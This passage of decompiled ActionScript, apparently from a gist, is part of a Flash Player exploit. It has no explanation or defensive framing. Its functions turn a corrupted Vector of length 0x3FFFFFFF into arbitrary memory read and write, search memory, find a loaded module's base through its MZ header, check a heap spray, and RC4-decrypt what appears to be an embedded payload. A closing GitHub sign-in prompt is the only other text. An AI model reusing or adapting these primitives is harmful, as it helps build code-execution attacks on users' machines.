if((this.vtObj20W[this.changedPropertyObjIndex] as Vector.<uint>).length >= 1073741823)
{
this.vtObj20W[this.changedPropertyObjIndex][1073741824 - 2] = this.vtObj20WLen;
}
}
private function read4bytes(param1:uint) : uint
{
var _loc2_:uint = 0;
if(param1 > this.controlledAddr)
{
_loc2_ = this.vtObj20W[this.changedPropertyObjIndex][(param1 - this.controlledAddr) / 4];
}
else
{
_loc2_ = this.vtObj20W[this.changedPropertyObjIndex][1073741824 - (this.controlledAddr - param1) / 4];
}
return _loc2_;
}
private function readUnsignedInt(param1:uint) : uint
{
return this.read32(param1);
}
private function read32(param1:uint) : uint
{
var _loc2_:uint = 0;
var _loc3_:uint = 0;
var _loc4_:uint = 0;
if(param1 % 4 == 0)
{
_loc4_ = this.read4bytes(param1);
}
else if(param1 % 4 == 1)
{
_loc3_ = (this.read4bytes(param1 - 1) & 4.29496704E9) / 256 & 16777215;
_loc2_ = (this.read4bytes(param1 + 3) & 255) * 16777216 & 4.27819008E9;
_loc4_ = _loc2_ + _loc3_;
}
else if(param1 % 4 == 2)
{
_loc3_ = (this.read4bytes(param1 - 2) & 4.29490176E9) / 65536 & 65535;
_loc2_ = (this.read4bytes(param1 + 2) & 65535) * 65536 & 4.29490176E9;
_loc4_ = _loc2_ + _loc3_;
}
else
{
_loc3_ = (this.read4bytes(param1 - 3) & 4.27819008E9) / 16777216 & 255;
_loc2_ = (this.read4bytes(param1 + 1) & 16777215) * 256 & 4.29496704E9;
_loc4_ = _loc2_ + _loc3_;
}
return _loc4_;
}
private function writeUnsignedInt(param1:uint, param2:uint) : void
{
if(param1 > this.controlledAddr)
{
this.vtObj20W[this.changedPropertyObjIndex][(param1 - this.controlledAddr) / 4] = param2;
}
else
{
this.vtObj20W[this.changedPropertyObjIndex][1073741824 - (this.controlledAddr - param1) / 4] = param2;
}
}
private function read8(param1:uint) : uint
{
var _loc2_:uint = this.read32(param1 & 4.294967292E9);
switch(param1 % 4)
{
case 0:
return _loc2_ & 255;
case 1:
return _loc2_ >> 8 & 255;
case 2:
return _loc2_ >> 16 & 255;
case 3:
return _loc2_ >> 24 & 255;
default:
return 0;
}
}
private function read16(param1:uint) : uint
{
if(param1 % 2)
{
return 0;
}
var _loc2_:uint = this.read32(param1 & 4.294967292E9);
switch(param1 % 4)
{
case 0:
return _loc2_ & 65535;
case 1:
return _loc2_ >> 8 & 65535;
case 2:
return _loc2_ >> 16 & 65535;
case 3:
break;
}
return 0;
}
private function write8(param1:uint, param2:uint) : void
{
var _loc4_:uint = 0;
var _loc3_:uint = this.read32(param1 & 4.294967292E9);
switch(param1 % 4)
{
case 0:
_loc4_ = _loc3_ & 4.29496704E9 | param2 & 255;
break;
case 1:
_loc4_ = _loc3_ & 4.294902015E9 | (param2 & 255) << 8;
break;
case 2:
_loc4_ = _loc3_ & 4.278255615E9 | (param2 & 255) << 16;
break;
case 3:
_loc4_ = _loc3_ & 16777215 | (param2 & 255) << 24;
break;
}
this.writeUnsignedInt(param1 & 4.294967292E9,_loc4_);
}
private function writeBytes(param1:uint, param2:ByteArray) : uint
{
var _loc4_:uint = 0;
var _loc3_:* = 0;
_loc3_ = 0;
while(_loc3_ + 3 < param2.length)
{
_loc4_ = param2[_loc3_] & 255 | (param2[_loc3_ + 1] & 255) << 8 | (param2[_loc3_ + 2] & 255) << 16 | (param2[_loc3_ + 3] & 255) << 24;
this.writeUnsignedInt(param1 + _loc3_,_loc4_);
_loc3_ = _loc3_ + 4;
}
this.writeUnsignedInt(param1 + _loc3_,2.425393296E9);
while(_loc3_ < param2.length)
{
this.write8(param1 + _loc3_,param2[_loc3_]);
_loc3_++;
}
return param1 + param2.length;
}
private function searchBytes(param1:ByteArray, param2:uint, param3:uint) : uint
{
var _loc5_:* = 0;
if(param2 >= param3 || param2 + param1.length > param3)
{
return 0;
}
var _loc4_:uint = param2;
while(true)
{
if(_loc4_ >= param3)
{
return 0;
}
_loc5_ = 0;
while(_loc5_ < param1.length)
{
if(this.read8(_loc4_ + _loc5_) != param1[_loc5_])
{
break;
}
_loc5_++;
}
if(_loc5_ == param1.length)
{
break;
}
_loc4_++;
}
return _loc4_;
}
private function asciiStrEqual(param1:uint, param2:String) : Boolean
{
var _loc3_:ByteArray = new ByteArray();
_loc3_.endian = Endian.LITTLE_ENDIAN;
_loc3_.writeUTFBytes(param2);
var _loc4_:* = 0;
while(_loc4_ < _loc3_.length)
{
if(this.read8(param1 + _loc4_) != _loc3_[_loc4_])
{
return false;
}
_loc4_++;
}
return true;
}
private function getModuleBase(param1:uint) : uint
{
var _loc2_:* = param1 & 4.29490176E9;
while(_loc2_ > 0)
{
if((this.read32(_loc2_) & 65535) == 23117)
{
return _loc2_;
}
_loc2_ = _loc2_ - 65536;
}
return 0;
}
private function binToIntArray(param1:ByteArray) : Vector.<int>
{
var _loc2_:* = param1.length;
var _loc3_:Vector.<int> = new Vector.<int>(_loc2_);
var _loc4_:* = 0;
param1.position = 0;
while(_loc4_ < _loc2_)
{
_loc3_[_loc4_] = param1.readByte();
_loc4_++;
}
return _loc3_;
}
private function hexToIntArray(param1:String) : Vector.<int>
{
var _loc2_:* = null;
var _loc3_:* = param1.length;
var _loc4_:* = 0;
var _loc5_:Vector.<int> = new Vector.<int>(_loc3_ / 2);
var _loc6_:* = 0;
while(_loc4_ < _loc3_)
{
_loc2_ = param1.charAt(_loc4_) + param1.charAt(_loc4_ + 1);
_loc5_[_loc6_] = parseInt(_loc2_,16);
_loc4_ = _loc4_ + 2;
_loc6_ = _loc6_ + 1;
}
return _loc5_;
}
private function decode(param1:String, param2:String) : ByteArray
{
var _loc7_:* = 0;
var _loc9_:* = 0;
var _loc10_:* = undefined;
var _loc14_:* = 0;
var _loc3_:Vector.<int> = new Vector.<int>(256);
var _loc4_:Vector.<int> = new Vector.<int>(256);
var _loc5_:Vector.<int> = this.hexToIntArray(param2);
var _loc6_:int = _loc5_.length;
_loc7_ = 0;
while(_loc7_ < 256)
{
_loc3_[_loc7_] = _loc7_;
_loc4_[_loc7_] = _loc5_[_loc7_ % _loc6_];
_loc7_++;
}
var _loc8_:* = 0;
_loc10_ = 0;
while(_loc10_ < 256)
{
_loc8_ = _loc8_ + _loc3_[_loc10_] + _loc4_[_loc10_] & 255;
_loc9_ = _loc3_[_loc10_];
_loc3_[_loc10_] = _loc3_[_loc8_];
_loc3_[_loc8_] = _loc9_;
_loc10_++;
}
var _loc11_:ByteArray = new ByteArray();
_loc11_.endian = Endian.LITTLE_ENDIAN;
var _loc12_:Vector.<int> = this.hexToIntArray(param1);
_loc7_ = 0;
var _loc13_:* = 0;
_loc10_ = 0;
while(_loc10_ < _loc12_.length)
{
_loc7_ = _loc7_ + 1 & 255;
_loc13_ = _loc13_ + _loc3_[_loc7_] & 255;
_loc9_ = _loc3_[_loc7_];
_loc3_[_loc7_] = _loc3_[_loc13_];
_loc3_[_loc13_] = _loc9_;
_loc14_ = _loc3_[_loc7_] + _loc3_[_loc13_] & 255;
_loc9_ = _loc3_[_loc14_];
_loc11_.writeByte(_loc12_[_loc10_] ^ _loc9_);
_loc10_++;
}
return _loc11_;
}
private function decode2(param1:Vector.<int>, param2:Vector.<int>) : ByteArray
{
var _loc6_:* = 0;
var _loc8_:* = 0;
var _loc9_:* = undefined;
var _loc12_:* = 0;
var _loc3_:Vector.<int> = new Vector.<int>(256);
var _loc4_:Vector.<int> = new Vector.<int>(256);
var _loc5_:int = param2.length;
_loc6_ = 0;
while(_loc6_ < 256)
{
_loc3_[_loc6_] = _loc6_;
_loc4_[_loc6_] = param2[_loc6_ % _loc5_];
_loc6_++;
}
var _loc7_:* = 0;
_loc9_ = 0;
while(_loc9_ < 256)
{
_loc7_ = _loc7_ + _loc3_[_loc9_] + _loc4_[_loc9_] & 255;
_loc8_ = _loc3_[_loc9_];
_loc3_[_loc9_] = _loc3_[_loc7_];
_loc3_[_loc7_] = _loc8_;
_loc9_++;
}
var _loc10_:ByteArray = new ByteArray();
_loc10_.endian = Endian.LITTLE_ENDIAN;
_loc6_ = 0;
var _loc11_:* = 0;
_loc9_ = 0;
while(_loc9_ < param1.length)
{
_loc6_ = _loc6_ + 1 & 255;
_loc11_ = _loc11_ + _loc3_[_loc6_] & 255;
_loc8_ = _loc3_[_loc6_];
_loc3_[_loc6_] = _loc3_[_loc11_];
_loc3_[_loc11_] = _loc8_;
_loc12_ = _loc3_[_loc6_] + _loc3_[_loc11_] & 255;
_loc8_ = _loc3_[_loc12_];
_loc10_.writeByte(param1[_loc9_] ^ _loc8_);
_loc9_++;
}
return _loc10_;
}
private function hexToBin(param1:String) : ByteArray
{
var _loc2_:* = null;
var _loc3_:* = new ByteArray();
var _loc4_:* = param1.length;
var _loc5_:* = 0;
_loc3_.endian = Endian.LITTLE_ENDIAN;
while(_loc5_ < _loc4_)
{
_loc2_ = param1.charAt(_loc5_) + param1.charAt(_loc5_ + 1);
_loc3_.writeByte(parseInt(_loc2_,16));
_loc5_ = _loc5_ + 2;
}
return _loc3_;
}
private function checkProperty() : Boolean
{
var _loc1_:* = 0;
while(_loc1_ < this.heapSprayLenByEnv20W)
{
if(this.vtObj20W[_loc1_])
{
if(this.vtObj20W[_loc1_].length == 1073741823)
{
break;
}
}
_loc1_++;
}
if(_loc1_ == this.heapSprayLenByEnv20W)
{
return false;
}
this.changedPropertyObjIndex = _loc1_;
return true;
}
public function fun(param1:uint, param2:uint, param3:uint, param4:uint, param5:uint, param6:uint, param7:uint, param8:uint, param9:uint, param10:uint, param11:uint, param12:uint, param13:uint, param14:int, param15:uint, param16:uint, param17:uint, param18:uint, param19:uint, param20:uint, param21:uint, param22:uint, param23:uint, param24:uint, param25:uint, param26:uint, param27:uint, param28:uint, param29:uint, param30:uint, param31:uint, param32:uint, param33:uint, param34:uint, param35:uint, param36:uint, param37:uint, param38:uint, param39:uint, param40:uint) : uint
{
var _loc41_:uint = 0;
return _loc41_;
}
}
}
class OutClass extends Object
{
function OutClass()
{
super();
}
public function therundata(param1:uint, param2:uint, param3:uint, param4:uint, param5:uint, param6:uint, param7:uint, param8:uint, param9:uint, param10:uint, param11:uint, param12:uint, param13:uint, param14:int, param15:uint, param16:uint, param17:uint, param18:uint, param19:uint, param20:uint, param21:uint, param22:uint, param23:uint, param24:uint, param25:uint, param26:uint, param27:uint, param28:uint, param29:uint, param30:uint, param31:uint, param32:uint, param33:uint, param34:uint, param35:uint, param36:uint, param37:uint, param38:uint, param39:uint, param40:uint, param41:uint, param42:uint, param43:uint, param44:uint, param45:uint, param46:uint, param47:uint, param48:uint, param49:uint, param50:uint, param51:uint, param52:uint, param53:uint, param54:uint, param55:uint, param56:uint, param57:uint, param58:uint, param59:uint, param60:uint, param61:uint, param62:uint, param63:uint, param64:uint, param65:uint, param66:uint, param67:uint, param68:uint, param69:uint, param70:uint, param71:uint, param72:uint, param73:uint, param74:uint, param75:uint, param76:uint, param77:uint, param78:uint, param79:uint, param80:uint) : uint
{
var _loc81_:uint = 0;
return _loc81_;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.